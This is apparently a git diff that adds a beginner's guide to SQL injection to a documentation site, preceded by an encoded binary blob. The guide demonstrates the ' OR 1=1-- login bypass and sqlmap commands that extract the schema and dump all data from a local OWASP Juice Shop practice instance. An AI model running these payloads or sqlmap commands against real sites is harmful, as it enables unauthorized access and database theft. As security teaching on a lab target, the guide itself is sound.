zJ2B~OXcyF)+w^@=QvnfAd`F>ULn>^SkX7C^y?{Gi0jDbOgh~Ms0tlAN#4SrVX8f=Xe!JsI zk12}dh0dvEf;FFIReTUq?H6?~yX^YVPNUP}v=ieOjCRKgpvIUxaku2lT9&ll{U3!? zRXsUrJoBh#$)XhR&A~;~sla#n=5cK>HV(T39MTMSHMa>9h>l^x`LmzB17Hhbscl@Z zLpTiwj28B7>qhqknmqK(l0YFOlVxBFgZBBmZtWSq`{KLDtft#d;hzt*M6_FB=bqAk z{*M5{j$%boEvY(`Nj~B}_VKo{R zb95!jm6-RyZ|P{Ps4CDenF>Em7UmP{pQ5!1;oDlz2hWF|Y6wM`>vK|zwVsr|-8!AB6AMhE%D$GvC5Jo$J%V;U4FUYTKnX_wsV+nIQ=cTE!lO!rI*v9Cs7cU8)8V#{1^pCDeAtM z|F^SaVv)vpuE83lX3+Fo!ykwy$d^_BQcvt}amjs~farlpuBcu2WdFri^m)IGAR1db z{Ti+892o68U6p_wuB*)EPx=5W;;z~J$kyWkSESBgaDM7M`r+1)`7MpezI+?9FGnPl zi|5?cnE1bjisj}2-C`yW8s;^9%?dA0;OxgAt7#q61==A@e|k_|o8cY4XJe*?V4ujF zGwvy3Cl9W5Q_Pf3_$=t8xzV!GN+ALCdZD+nf34lvtGM|1hW(Er>q7>mwf%To z2vfCnYyeW|LGOl{jHXw|p%1cCLn;rA*N_-Lfnq-t*FaOUK`dotuV*VthsRSG0TRlR zYaB~$I7TpiwqZl~G5P=@8_d#JjZzVW1mKx#>A5u>mcR2$YLoR zID)NyewH$svN-G+1l%crOBrKV#mUovebpZ9t?}SQP+~yir_zV;X=##S*WR?lJ|7BI z|NgW7Z>1{);5E|ezLX~MB6-EV{+zb$XGo&Wj)l?*QntDdmV#|9Fi;>=xWN1`#EzMi9yneD>D^yGEau1-)(?H`l_r-&zZLf|RO7kXpA z<){5Iq^mgY<0F03-<_M${1EF+XYg*bmR*|p`XB9W{Y7NeAKW2{DTEm?59J~q{+w53 zH5JYvSRvN_mNOx%xq{>h?A*Y)EP*9u7J~xS>O0F31@`~~cu`z(p2>|d@hz!~=-z@{ zYP`Cww7Xxbe$6N|dSNlIUYc@xse6gO#bRg%!6kbntN5!*f}@CtAX+p`!G{Np?)eQ1 zhUfzROHB}z^)cKl>SpBPGb|UJSHsu?8Su75{c=}(@2#GtS@EgYg}Sk&A%>gn+!DIAT+E>Y)$8^{`t8D_U&Y`U z*5;&;09yny`xpqZNMHzN((ZU{UqU5h@}jTx?l1KeEMA^h7u8fG;z(MevH$^4C`eB3 z)Xt3vZe`1WNUBSYxNlX`J4y89KQria_f=HtG_yAIJ6T&I!)l_I2Y}6h*lr64ORyLTz95a7FX?it_`CO6bbg@i^-~d84ETto9U5$NYIWp ztp<%B-Mk?E2`9ESYIw^t?r^mr^0oo+HCANRaNEMWTsE+Xg39f*W1#}Pg8*W^OimOG z*qAs8`IS{zShet>g*V8x)y!wbwbhqGm`Q$u7yZy6^*)8HgRrpvPkCZluB$xmKin(o zY|2e2(hBJ@Si*{bOiA)COz2FEfPMxEkkRd5-qm=98zDXujuj+yRxM0okBJv^hO2W? zUDg>m!BrKYighOWthh86vcx=Jd5tXYweE;sBUG}nrYAxva?BIwOlqZgV>+-plnE3$ zc_W;$&;1!Jji#WU{>?zu~ zFBh-`PfRkNaqeia6Wf>8FE=e^kFkzqDWLc!%nZ+V=MCvdvZkK0lXLR(d!OkxE4?}o zKZ{CgA0dBfPJ3$3QRUZ0p?U7L>5!TsjDhjohODTKg)t9CKRbV%0p7Iq!uEkRachs1 z?_YJ}_68C4*OGKB=huiV?A|3|vW=0U0Y%0hrl39KxgX*9uCWUps5B5-G1o|41zU`N z#ug<7#2)kr*v^)Pzw`r=5vczKSN%D?;a$d5*TVtCGsUrm^S)1#**I$h7Tk~Ze6m`) zo3MfPw33Y)HV=+p%`qn>?iT@nxHy6UYv!ig-$_z`l;>WOdCl$Ax`BZl6NS)W(aXbu z^v*3FaPw#sy$194UKh1Z0cGi&V`#jNTmkZ**N zbpcEC63i>+t4*RfT7g5gnV3HJD$Ey^+0ny3RGeSBAE&tL)-~ZIyyJ)Y&eo~$h zi>R>8jwKx{LG)PTwaVI}DR1>U6|*qyI%@lv)Q7RXmEglksG=yEt(fGQ;&z}*wCE=3rUvis!I!}gu zcRZeC-xbdx^CIdAmUS6^U4&&L)tmi`{k|QJ*H`OBvblNuz6ipoPluFa=OU;LRo;&2 zAFIibaj&PDN#jrVj?od)-9LqgvwZrGMatE`6`%hqyk5R4ExZhN#`RyOrCEj~+@8!T zJF3#WPvk5;uspZ^)_OyJhvr4^JaEml$eIr;pNJdQDR9nMnK{>j7Fpgm+|;KE@2KX! zA@9c=0*AUJg!z^}#tSVnFeG0#bo2kYWh3y-O)Z^TiaA8J0MF~R%n*6grZ)-$^(^Yh zx0{mRN$p}gRLM=K0!6Di8~Yt2i2f69jMNs#mUcp&#t*>aLYu|Tux+C74>ER-kMxfa z<(^dnH&#;7egpDW@N8k(DEoeQoL{AzD&7@XuMQ6`L0oY-Y*KbAI0%=FhSR8Cf3W-jR{|m4dO$`YQ)2b(z?7^M3pg%Ila=i5hc30lI26`ZE}|4e&nKXF3lW& zFl3Xh<+MeA$*w`RP*RqSD^$gyDRk2=3#sP_J{PbjlqUjAH=iQXiOo`k^02&?0;%&h zdXe3vK!2P~VhLEZroC|!2fg&Z3)9WI!t!QMRmW6e_VGK3XO`z}x1>t&Z^jBE+0n6n zbk&%DjjcI7(>azYRNR5KGVO~{JQ|-ZwlT3U@Tg&^rhZ|*Q9Fnn#~QGlEmIwN_;^t| z8EpIw2I@c&&tQ7!%gcaal#AVHm4wI#e$LtlkNAkR-d#Sv?ZRX){iFLog?~lU`65P` zr76TkCJjyu1I2&@uvmDruI7`+pXq zGueb4hI#SrhGr38>u7Nt3$ytxU~x>}1#}lT6Ek^oEbU zD+(Ad_Y<`9C89QK3e=abvZ9K;0AXT#C=E}1!zyMhFTl7t6*~{W_4VNy@Z()k=1ez& z&<*VrNvY$q^$Q}#t*yI~&0m%kR1tyS)uyRUvX1`lTlR|r@r{;wiq=&&=`dWM;whAW>jUBs263-^YbmWmndWrvSZM)Q)>_t%mL+Zb=+&E@z# zHv9^K7<|oC8HJ5|zG7s1DvPb($R9nuDMv^ZvEGhZ`nRfTGfh3GGXs)14AYV7Ny&MhL7K7{<2jm~D8@G9IJoDk zb%tY9Z%R53D>@)GKVy(1ph1%Jr(u2a+(u3O`-bx;c2+IUB2>Q${3jD2$IB$>ugkM7 zed-=lRI}Z})odoUd5pF{m^diqF1+mOOC|+O&$&0;j-OMBzA863p;G3e^VX8H0~A@c zZB}alr)C{cV*u!_N`UgKKdD7`v4LiUe(Hd}7Ue7vMZ#T z>xOp2m@xpO#Sv6U50>JKUJ~LhRri!u_fOte$<*{>hwYI zu#Zs;2x0ZbydvlL?E>GCXhL5Ut!a#O>S-K@++&TSRgz)`***I4;gjOGG=t%;IvUK^ zKK24P=|PmrMlLGnB7Pby3?!J#tle0}l?E3@rHyI9J2Uspzn2;$?ZIdUC?;WBDTm?PDYrE*r0asMrT1N))nJ9$9U5o-0v7qK{ zY|Sw0S(XfD&BF-moq(7@7H;D^NM88C5}*kfVD z5N021&$P6(wNTc<%FT9eDc&{2V*Ui@Bwo0@-Y2hVjHe=G$W_F4MyyNiC}zUeM*3Ho z<4MMMFwnZH5T$C3xjrJVA2y#~)lT4bS?-%os(h;(F{*pBsUSKj4KxLg@|a2VVR`t? zK*B!BbmpyU~~$ap3`Z7kqFXysnait zy(qrZxB^MDgdJUgg4hqek*Rx%P>Fw~J&*WAH5nP!N~75~nuJZO-|};)U2(~|)Afa9 z2RL{|DO>UevO1zAk|JDjG(`FRbv#YsmrcIN}-SES-S#f^AUN8iLBP~iG9$1GUIz$fW*fCELS=cNSq zux)A!c}!O&#WoEILZg|oFR$3FLXTtcp-f3n)WP460R=yRuvf}%riwQt@ zZZ#F`1D|tZk#1f`{PEb)`b8L?idl*aRu*}+=GE&%le_EII50wUOfxd4BRZ$zYp2H! z&`4N&DS8=Mp;M>H{5SC9?x~Y9ECY|KEW7T7KY7Qp+*`kVyunbmAAKXuG$A}!56ulU zcZ#j8OL<4(UafluBNM$Bo8);3f@gmq>gKrv$F$}P5Uq$kV^mWrD;449a94#NiD)X< z?7N2(d`0WZtKTHa$_rsh_O{Xn(*5WTf?t$RI3CM=*2p8AM)0xA%dR z@%p@EW^)}tl`Hk*`%D?tI3Q_;C1p{o1ZH_9?h2f++AXVwQ7ud9+DOOXo5^JVp$dO; zniA%fNC$|Sp)njcU<+jjosJ4)pdUiS$;VO>J4XX*x>m8eC-7bYVL6xKcR9Hc4v+z! zRD6Z*9ha@fn*zgb0GjkqsX|tKn4X}Tsmq)?#0Pu-lWQ5$_(scum=oLhCt^?0B=rex z(*2BLSq1lWd_R%sC2$)fJrUF!hllAIqX9KcT9>D1sK~|X?+F9hFk6x2$UU7kfb+|h zzW$e?a^l`CKh=uHlNL)F)`UN*J>yb8yW1o8G`6C9nf6=Q`V?yIa$`=z6+xn0%L zJp<-YG-`oGVIi)MN^-{<)3OO`ZO@Q8R4{QwbOnqGa$=6rB01#nZT7k;L@zoUH+tMj zsK|>?S=&E+ohm(YOen_{^uF}vS#fFU%dqf7G-0(Jn%v(jZF>{{lJDSidQ^qdL6h4E zeb|sNy)v{Ey8+uO0t68-9r6;r2rRgA{+z8qTf8@#Do zKRUf#U2_y*3{r83t|1VbPZ6Vsf0h)()Zfbnl8uz#8=u`lFmT}Ui7oyU;=IW3ig)Q^ zxaFa>*@TYmlv0$++_)bfuMlB1a}@@SmUWt&zi)VT+jGgpCFgnX2ZrlsGxpZ6;)Fj_ zz8InHVIJsOjWMx~${|ixcUmW^&rh2WCsnrOmNn3w)2m4w&w2ZKbd<9~(_og9^YmD@ zn!BrJIA&V)i#he{Y5n#sR>vVkV(d8R(S%itrDazn@}1`JY>8dMwO15;)erHW431*0 z$)%R#r{0x4%LKkzeH@_pXA$d_wZ#MlF@rEoyvLVG15~l^YL!{I#ecto`c+Gdikl%3 zy>rOIF0xQ@gFA7XpG`OJ!SqeveI8UCfI!!i{U<78a;CE~(@tdyEXv-hVschUr!yn6 zr2L?`Y`?C|;c0iOnve&-NH>}F=%C+2FzG{WU59P@64e_oX_b~@2u?oATKd5 z(Pf(Oh=1!W(nQxBc4?H_!K_B4NKCjSq*%*DjAU)gj=5?N8ni4)0i8J&3P2UpPZ?-= zxgUMp6EXAkjyJY9>G$S%&Nvuf{T1{^h7Hu6wMo%}PkU>~J(* zv>ZhnFXuAjN9*Bm)rX|--7Qh1ok&(y#^y$hjwZR-4a1O6Bf5(VL;{b2%g1BG`fd+v zFWJVZ{)$o;c1Wsz$1)W>7*&~Gi}@;V*n^C6^Y5_2ISr)iE+GqBR&mT3fqGqaXb0|T zRs4{-D3EoFQRrV+&2sB^M_m^%;|Z=|twwZAk>?eNOB>|tl!hhGn#Iq)INNa3^c%+F zIkHQHs=|fcVAfX+F+{GhClkAg6e*qK+Fq3{jM$m+DMYU@`3aN#Br5w&j&@=w(%~uzQM8D%6r~ zqwE3KFvPxwK z8-?NiaEUsIpM_`vY#PwTnv*5WgWEP{`Re+*|<;KpQ)oqR>c`N5w z+kM--cuwdKUkcHW97Jp~;VKKS-by0E|GkomjE@elrES!g{~C7i(~fWl4iM1McHh^0 z;o4$X(#I$rhI(V>vBW@nAia4qf8Serutcz2BDrt4&6r$wVr^Fr)X=L+)q*Up21T)E zdBDN$O6fsADNaznr)H_D7o*%CHX-{eM#YM6hq*}#T?N7<#P^w#)GC*lI_u3SiKjG! z6{W63HoISgxg@r!FuFiCfer1n8R_n|o)AH3TH^2_X&ZT$0=t1<{8d_u0tr(51BFPrZ1Oi0-|_t372u?jz&UT>Fyue zllMzqSF&k;B&@Yf`^C1Z6Ul%7#ufoWsb#rsL9ZTyU7 zzc>%Zr*1VtcK_r6AuCQUbsmz8)IyksU(;I}0Zc^$LhY|a#HiZ_I*CM2nXw^fU>G=3m*06eo{ZtELmA|UNCYiV7pP?cX?rd;?Av#Ea6gO*d* zvWis%O_;8?OxRPCS@&@3RpE&W*y6^vV#D<8N8(>vY-TH3iRFC^Y(>~F&I6$v_!C%k za*=aWi&d^Ppg5o}yvpV2u!k;F$r;P_9o=T)3(nIntDZ2{t*$(GQD$tFpx1(&?w?CO z)S8J4uFBK=gN0 zNBB-(C1Z-8Ls&_2l16F>g+@*Erlf?s6ipC*F4jnHp>5o<=y@flxBA3jbZn8v;}Gcu zr{?N|0BBPP288hvmJcQ8_^Cc99*J1ZtXxKOcnVe+)yF0)dgU!ae5(Y$wQvgd2laCD zp`>;~AFCLWn7QuMumKeGZ&030{3dfc3bpx~I~gbJB{XRl@7iV`#OoUCi=+bS`dpSh0KEFoH-pxjaz&GYJb6!1Sk>Or6em8@_C#8CT>Vo5VT zq9v%uflaF3tpqq_z)TAj8#k>?U_mnR2M&YLxJyR>+VLD>j9W4VeZ7-+x}EWUZ}L+2 z@qP~8?M*EU)<0I$v|7^2yVUN>m5-~x~(3c0Dc5p<1&=*N|0wUf0H;^ShPzL}Y z9sb+LE^|YDw?`lzIR0+N@t+6kI~?ZUpMBME?nuxN@awkK`tSzwzH2zl1qX|YzR=3J zQH}AFE6ci_=d8Lw7zlNFWhK%9Xdi^dixFPjqC%)&f_J0^^gYf?CX#-PJcPdXVs9IW zv(@W%W_}{%8h0DlqZuak%L+f>RvGFA=iBIrJ2jm{YEN->JU6Ln*i>oRZ>=pbnO<=I z(x}J59#p(WP|g0KN(lLOe4t(vr2_f*Hl- z=27_Aq6di($c??;sOogTj+7gc_JfGtqtKt3oJiQh=#NTrp^x-tx`3lxwSP`-Bu9yp zrf+rQ6%EIF9sqJJrh&CRvoEd8biukb?#%S!U*7n&NXoee8Z!XRxHq@@0=DO6rkCF?0Z zRCvuhl{oe0418L|-=G_R#Z_}=`GI#dK>@adSzV@-I>LnvPR`}!t+FHN%#&q(9Hd`CC_G#^rM7xLvJO@&!%kJu4gP26m^W{^z^X_gO7Z{xnBrUZH`%md@{-(D^T&zH{mj>R}(4t4h zmPn}WB@sWJI*fOqS4A8UAOeDyHVAh4&4Tl!cdfCae)9E5&0J#pjJ%2HKGVGhb^dP| zl4C-$#shGPd5;JsM$HiORBx?+~wz!$3OP5M>^f zl!`UIRL!5nbEqAqPsG-qmN3I)gaY4j_kQlO>7e;g#m@cJmX74)<>)%tzPviT1ENdl ztx-pD>f@o>A!{y7B&mL-ZLAQpm-cne&lf|k{7#=3*BkC(L&vwp^yKK$GH0Xkr_mG& zNVYm^%Y0fd>QF{0v^;Mwe;A)uV;~A$xrod%ekW$z?l~z;l7Sx%^FfD;`u^?%=O4Vo zYURTww(e#rFqj_hP|dS#jN#biAKlJYL21qn@Tf@_e9^<}p#0-(+|j$38G%etuU1zB zHwLERSk5Vt3zp&=~r?+N(zS#YX&h{wuwG?IwA$p1_`NhO zgR81|JT;tDh#h-*OU{*jja)wKr55uyy(08%iGDxO`f|nBTj?EJUQG?kXu64u{rH-f znJe&9;|ig&#gal}KdFx$mpX{i&g0Auo666|)iN}ULyY|i=5s6YrCw$TfsqwZg*JCa zTki7i>X3P_kv5DKk8yZ&@EL1x1}6w;9R41CEGwV|)e!@K_FHYe(1uq%Btx%XVkZQg zv{+{XDr53-)#HP{S>4<=wGmaA%XPZc0H40LW z?(Ekm@t&U>xO{G5qD%hW7fzyX`sF=~SK0+1)plAui-;p(o^>==a-#MY<7`i%}BU-gW!Jg zU@8o_k}J6w?G25SQ-Y7clCz>wE?=w~N}8=9wk8O!#55efe#w4E=)8`LJ2xsZE=SxO zUfsWM=h389c=Kz)+(Vlexjg*go607}gA-j_o^DTM;F{ZY=TS+A+E!4z-o&6vVysxK zlnE7ecTSIbEwlb;j>LPtsM(c7PF{ahTIchqdhm-9y3Nxcy!|cE&ywD~&KpMFQ*!!( z^OJA!S1;X0+bIsb84H6r+(E~SD_9qIhHp8BZzk9*n4?kddC(cGF?ang7G+`Z?3}v9GkRST75A$ctPO|R6W4{4WnB8 z-hJyHrJcsncd@O6wJ|58732r~lG>d++2pO&ta!z)FMCNS%*YD4`lL5+yz<u+5 zaoyK?1)@W{a^$WbbpXJV&S&G)qe8N~pt?=G8e6#|seem%B?+ZJ^!9>D@E3zr4-z%! zihsumJKMVsw0UP5&Q9&`jcJ|4TBNkudaq4^3w6q8#qr;!wRj!fc{B4{P~*iP;9G0= zc$OYni9B9&3(-bq)@yf`{EI(gmf~BtjVh7B%oiaL*W^WnU*b<58t3ZeT={CcCQa88 zt(!wj?6*;>28T|gL$}n&@J4!TPUWjl+a}Bmw+jo-4^Q{~Z_R(O<}MR!`quWhtZI~% zqn#~yx&{fCVIu5lX)N9h8HYzPHfYQSWa3*);H!D z&&ntG!q~JbcMTAx`G(FjX%glTEBviRWBFQxg~m%t_T&W-moZnST6o2w8D%e zf}Ni=mz+wyd)06J&Swu=r&onFmz({c04D?3{0F#~s11hgn!y_em$hMVh!k_Rh@|jh zepFP}qAe)qDB$}12)TE~9$NG#PYO|-r(rOAUQl! zpw8cW`f^*S*J8ak1}MzyC;fTzpyvX)YAks3V4Od16Py+PwW+Y=zgk~O*ryg@8B?r+ zqO2EWy+};q1`5?0JHwh;!yxxCI@cvnZy4l$W<_)4TBGOXxaQ$pUq90K=OTG#`;$ET zih0&^t;8o+eZD%bh~4*g0qc@GxE}K$2Xc+s{3tiFho729k|aqwRyGVK4FlpS`bTdb z^jzp~2?W=fH4J)#A@fWA<7pUBnAM`1;)~)hpQfiktLJNc$J#Uvk}Jhzjib<`;Hz^; z{#p=okNfh>3TR%f-_^v(JHEVP?lWVWBD?aizP^P}3-Ih^ z)a$UW@Bc2zo8#Gj&gQeO%kP}~;kf7N^L4ExNs@FO9A(3RuO2X7KJ|aUnOlnRvm&1u z-WVVz#W{ujrf@%aK4T=N7x~-#r(>E2X$`dIUffcI zQb49)WSl}d@wuICL3(teH6z3$r|is1gtSySiG_lM&e zm#-D%nAm!cJlC#xaNLV+avbvei{3Dp?dQII?)#AV95ZHaHlJfjk|gQ6IJ$-b@{a>4 z)G4kh&^HDBX_3!7@{bBZ9CIngiLLWBPrpXZm4-v~f1X(L_k4_rOOt@}$wPA?amkV6 z%Zwt6Pim_ae*Elnv-m#Wi_(!ApEcyEUnM{-L`Qmju3hKv-u`;Et{XisGFJ=K=naEi z`JMe<0JBuUrBQ8o-l zmV*4_uMtR+BuSE_F&hSwBuSDaY31593?xaCBuUbt{&VtQv`AhU!=rlG00000NkvXX Hu0mjfIR+I6 literal 0 HcmV?d00001 diff --git a/src/content/docs/guides/cybersecurity/sql-injection.md b/src/content/docs/guides/cybersecurity/sql-injection.md new file mode 100644 index 00000000..875da1a3 --- /dev/null +++ b/src/content/docs/guides/cybersecurity/sql-injection.md @@ -0,0 +1,215 @@ +--- +title: SQL Injection +description: Simple introduction to injecting SQL into a website +--- + +SQL injection is one of the most common web vulnerabilities. +It's one of the easiest attack vectors for a website, and it's even easier to prevent. + +In essence SQL injection is when a user uses a place that accepts user input that searches a database, and then gets something they weren't meant to. + +In 2017 the Open Web Application Security Project ([OWASP](https://owasp.org/)) [rated Injection as the most common web application vulnerability](https://owasp.org/www-project-top-ten/), and third most common in 2021. SQL injection is a large portion of injection. + +## What is SQL? + +SQL, or Structured Query Language, often pronounced like sequel, is a language used to interact with databases. +It's used to create, modify, and retrieve data in the database. + +SQL is a very simple language to pick up, and it's very easy to learn the basics. +Take this example: + +```sql +SELECT * FROM users WHERE username = 'admin' AND password = 'password'; +``` + +- `SELECT *` is used to select everything from a table. +- `FROM users` is used to select the table `users` from the database. + +So `SELECT * FROM users` selects everything from the users table. + +`WHERE` is used to filter the results to only include the conditions following `WHERE`. +In this case the conditions are the username must be `admin` and the password must be `password` + +Altogether this will get all of the users with the username `admin`, and the password `password`. And since it's a login page, it'll likely only return one user. + +### Simple injection + +The simplest way to perform SQL injection is to use a single quote ' in a field that accepts user input. +In an example like the one before, instead of putting `admin` as the username, we're putting `'`, which would make the query look like this: + +```sql +SELECT * FROM users WHERE username = ''' AND password = 'password'; +``` + +This is an incorrect query since there are three single quotes, it'll likely throw an error at the user. + +We can use this to our advantage though, if we put `' OR 1=1--` as the username, the query would look like this: + +```sql +SELECT * FROM users WHERE username = '' OR 1=1--' AND password = 'password'; +``` + +Unlike `'`, this is a valid query. +The `--` is used to comment out the rest of the query, so the `AND password = 'password'` is ignored. + +When SQL goes to the database, then goes to the users table, then gets all of the users with the conditions after `WHERE` it'll get all of the users wgeb the following condition is true: the username is `''`, or when `1=1`. Since 1 is always equal to 1, and only it has to be correct due to the OR, it'll always return true for the query from users. + +So, depending on how the surrounding code is setup, it'll either return all of the users or the first user, which is often the admin. + +Juice Shop is a website designed to be hacked. If we try this on [the demo Juice Shop login page](https://demo.owasp-juice.shop/#/login) by placing `' OR 1=1--` into the username field, we get signed into the admin account. + +In case you don't understand try [this hacksplaining exercise on SQL injection](https://www.hacksplaining.com/exercises/sql-injection). + +## Sqlmap + +There are many, many more injections to try than `' OR 1=1--`, and there are many different types of databases each with their own vulnerabilities. +Which is where sqlmap comes in, to automate finding the type of database, and testing of different injections. + +### Installation + +Sqlmap is a python script, so it requires python to run. +[Download the latest version of python here](https://www.python.org/downloads/), and install it. + +Sqlmap is available through pip and can be installed using the command python3 -m pip install sqlmap in your operating system's terminal. + +Alturnatively, you can download it [from sqlmap.org](https://sqlmap.org/). +If you do this you'll need to extract the file and navigate to it with `cd`. Run it with `python sqlmap.py` or `python3 sqlmap.py` instead of `sqlmap`. + +### Usage + +Sqlmap is a command line tool, so it's used in the terminal. + +To use sqlmap, you need to know the URL of the website you're testing and the field that accepts user input. + +The simplest way to run sqlmap is to use `sqlmap -u --data=`. + +#### Juice Shop login page + +This will not work on the demo Juice Shop login page. You need to run your own Juice Shop instance. +[Follow the setup instructions and then return.](https://github.com/juice-shop/juice-shop#setup) + +Go to the Juice Shop login page, and open your browser's developer tools. Most browsers use F12 or Ctrl+Shift+I to open the developer tools. + +Go to the network tab in the developer tools, and try to login with some random word as the email and password, it doesn't matter. + +Here is what the login request looks like in Firefox-based browser LibreWolf: +![Juice Shop login request](../../../../assets/sql-injection/LoginHeader.png) +Here we can see the real request is being made to `http://localhost:3000/rest/user/login` and not `http://localhost:3000/#/login`. + +If we go to the Request tab on Firefox-based broswers and toggle Raw, or the Payload tab on Chromium-based browsers and press view source, we can see the important data: +![Juice Shop login request payload where the email is TÅ«hura and the password is Tech!](../../../../assets/sql-injection/LoginPayload.png) +Here we can see the data is being sent as `{"email":"","password":""}`. + +Sqlmap only needs the names of the data and an example of valid input, and it seperates values with `&`, so `--data` should be `email=test@example.com&password=test`. + +Now we can run sqlmap with the URL and data: + +```bash +sqlmap -u "http://localhost:3000/rest/user/login" --data="email=test@example.com&password=test" +``` + +There's a problem with this. Sqlmap will exit as soon as it gets the 401 error resonse from the site, similar to the one we got when we tried to login with a random email and password. Let sqlmap know to ignore this with `--ignore-code 401`: + +```bash +sqlmap -u "http://localhost:3000/rest/user/login" --data="email=test@example.com&password=test" --ignore-code 401 +``` + +Go ahead and just press enter whenever sqlmap asks a question, it'll use the default option which is good enough. + +It won't find anything. + +This is because we aren't going deep enough with the injection. To become more invasive use `--level 5` and `--risk 3` option. Level's max is 5, and risk's max is 3. + +While we're at it let's add --batch to just automatically accept the default options. + +```bash +sqlmap -u "http://localhost:3000/rest/user/login" --data="email=test@example.com&password=test" --ignore-code 401 --level 5 --risk 3 --batch +``` + +Now it'll find something. First it finds the DBMS (database management system), SQLite. In the future use `--dbms SQLite` with Juice Shop to skip this step since we already know the DBMS. + +Near the end it'll find the HTTP request with successful injection, which should look something similar to: + +```text +--- +Parameter: email (POST) + Type: boolean-based blind + Title: OR boolean-based blind - WHERE or HAVING clause (NOT) + Payload: email=test@example.com' OR NOT 6173=6173-- QuXO&password=test +--- +``` + +The important part of this is the payload. For [an interesting reason](https://medium.com/@christophelimpalair/bypass-admin-login-with-sql-injections-sqlmap-bb60d447a1e2) it's using OR NOT instead of OR, so remove the NOT to make it valid and suddenly it found almost the exact same query as `' OR 1=1--`. + +This isn't very useful, we already knew to try `' OR 1=1--`. So let's try it on something more useful. + +#### Search + +Open up your local version of Juice Shop in a new tab, and then search something. It might not show in the network tab if you use the same tab. + +Here's what the search request looks like in LibreWolf: +![Juice Shop search request](../../../../assets/sql-injection/SearchHeader.png) + +This time it's a GET request, which makes this whole process so much easier. + +First just check out what's at `http://localhost:3000/rest/products/search?q=test` in your browser. It's just a JSON array of products with the word test in them. + +Here's what it looks like in LibreWolf: +![Juice Shop search request](../../../../assets/sql-injection/SearchJSON.png) + +All in all, this isn't very useful. We could have just searched "" and gotten this all on the regular page. + +Let's try getting the database schema. + +### Schema + +The schema is the structure of the database, including its tables, columns, and relationships. +It is how you know of all of the different types of data in the database. + +To get the schema, use `--schema` with sqlmap. +It's very slow to get the schema so it's best to use `--threads` and then the amount of threads you want to use to speed it up. + +```bash +sqlmap -u "http://localhost:3000/rest/products/search?q=test" --level 5 --risk 3 --schema --threads 3 --dbms SQLite --batch +``` + +This is going to take a while, so go make a hot chocolate or something. + +When it's done, it'll tell you where in your file system it saved the schema. + +Here's what I got: + +```text +back-end DBMS: SQLite +Database: +Table: Memories +[6 columns] ++-----------+----------+ +| Column | Type | ++-----------+----------+ +| caption | VARCHAR | +| createdAt | DATETIME | +| id | INTEGER | +| imagePath | VARCHAR | +| updatedAt | DATETIME | +| UserId | INTEGER | ++-----------+----------+ +``` + +Let's go back and try this on the login page this time! Actually, this time let's try to dump all the data from the database with `--dump-all`. + +```bash +sqlmap -u "http://localhost:3000/rest/user/login" --data="email=test@example.com&password=test" --ignore-code 401 --level 5 --risk 3 --batch --dbms SQLite --threads 6 --dump-all +``` + +This will take a while, so go get some marshmallows to go with your hot chocolate. + +When it's done, it'll tell you where in your file system it saved the data. + +... + +Okay this is taking too long. + +I left this going with 10 threads for 8 hours and it didn't finish. Even using just --dump instead of --dump-all didn't work. + +These are the challenges with enumerating through a database. It's very slow, and it's very easy to get blocked by the website. Use `sqlmap -hh` to see all the enumeration commands so you can narrow it down to exactly what you need.